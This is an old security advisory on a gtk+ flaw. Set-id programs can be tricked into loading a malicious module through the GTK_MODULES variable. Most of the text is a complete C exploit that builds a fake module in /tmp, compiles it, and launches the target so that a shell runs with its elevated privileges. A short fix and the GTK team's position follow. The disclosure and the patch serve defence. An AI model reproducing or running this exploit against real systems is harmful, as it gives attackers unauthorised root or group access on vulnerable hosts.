|
Vulnerability gtk+ Affected gtk+ Description Chris Sharp found following. While going through a quick audit of gtk he found that gtk+ can be tricked into running arbitrary code via a bogus module. This means any program using gtk that is set*id can be exploited via this method. Here is an exploit Chris wrote for this security hole: http://realhalo.org/xgtk.c The code: /* (*)gtk+[v*] local module exploit, by v9[v9@fakehalo.org]. this will give you the euid/egid of a set*id program using gtk+. this exploit works via the GTK_MODULES environmental variable, by tricking gtk to execute arbitrary functions/commands with a bogus module. (using gtk_module_init()) */ #define GCCPATH "/usr/bin/gcc" // path to gcc. #define SRCFILE "/tmp/gtkm.c" // source to the fake module to load. #define MODEXEC "/tmp/gtkm.so" // fake module to load. #define DISPLAY ":0.0" // default display. (also argv option) #define EXECUTE "/bin/sh" // execute this program. #include <stdio.h> #include <sys/stat.h> int main(int argc,char **argv){ char cmd[256],syscmd[256],display[256]; struct stat mod1,mod2,mod3; FILE *source; fprintf(stderr,"[ (*)gtk+[v*] local module exploit, by v9[v9@fakehalo.org]. ]" "\n"); if(argc>1){strncpy(cmd,argv[1],sizeof(cmd));} else{ fprintf(stderr,"[!] syntax: %s </path/to/program> [display]\n",argv[0]); exit(-1); } if(argc>2){strncpy(display,argv[2],sizeof(display));} else{strncpy(display,DISPLAY,sizeof(display));} if(stat(cmd,&mod1)){ fprintf(stderr,"[!] failed, %s doesn't seem to exist. (path needed)\n",cmd); exit(-1); } if(stat(GCCPATH,&mod2)){ fprintf(stderr,"[!] failed, %s compiler doesn't seem to exist.\n",GCCPATH); exit(-1); } fprintf(stderr,"[ program: %s(->%s), display: %s. ]\n\n",cmd,EXECUTE,display); fprintf(stderr,"[*] making module for gtk+ to execute. (%s)\n",SRCFILE); unlink(SRCFILE); unlink(MODEXEC); source=fopen(SRCFILE,"w"); fprintf(source,"#include <stdio.h>\n"); fprintf(source,"void gtk_module_init(){\n"); fprintf(source," unlink(\"%s\");\n",SRCFILE); fprintf(source," unlink(\"%s\");\n",MODEXEC); fprintf(source," fprintf(stderr,\"[*] success, module loaded successfully.\\n" "\");\n"); fprintf(source," fprintf(stderr,\"[*] id stats: uid: %%d, euid: %%d, gid: %%d" ", egid: %%d.\\n\",getuid(),geteuid(),getgid(),getegid());\n",EXECUTE); fprintf(source," fprintf(stderr,\"[*] now executing: %s.\\n\");\n",EXECUTE); fprintf(source," execl(\"%s\",\"%s\",0);\n",EXECUTE,EXECUTE); fprintf(source,"}\n"); fclose(source); fprintf(stderr,"[*] done, compiling module source file. (%s->%s)\n",SRCFILE, MODEXEC); snprintf(syscmd,sizeof(syscmd),"%s -shared -o %s %s 1>/dev/null 2>&1",GCCPATH, MODEXEC,SRCFILE); system(syscmd); fprintf(stderr,"[*] done, checking to see if the module comiled. (%s)\n", MODEXEC); if(stat(MODEXEC,&mod3)){ fprintf(stderr,"[!] failed, %s was not compiled properly. (gcc failed)\n", MODEXEC); exit(-1); } fprintf(stderr,"[*] done, setting up the environment. (module&display)\n"); setenv("GTK_MODULES",MODEXEC,1); setenv("DISPLAY",display,1); fprintf(stderr,"[*] done, executing %s, the module should load now.\n",cmd); if(execl(cmd,cmd,0)){ fprintf(stderr,"[!] failed, %s did not execute properly.\n",cmd); unlink(SRCFILE); unlink(MODEXEC); exit(-1); } } Solution A simple fix to this would be to drop priveleges before calling gtk_init(), another easy fix is to modify gtk itself, to do this you need to make the following modification of gtkmain.c. In gtk-1.2.8 its at approximately line 215, you have: env_string = getenv ("GTK_MODULES"); add the following line above it: if(geteuid() == getuid()) This will prevent gtk from loading modules if the program calling gtk_init has a different euid than the uid. What follows is the official GTK+ team position on this matter. (It can be found at http://www.gtk.org/setuid.html as well.) The summary is that they don't consider it a problem because writing set[ug]id programs with a GUI toolkit is simply a bad idea and not supported for GTK+.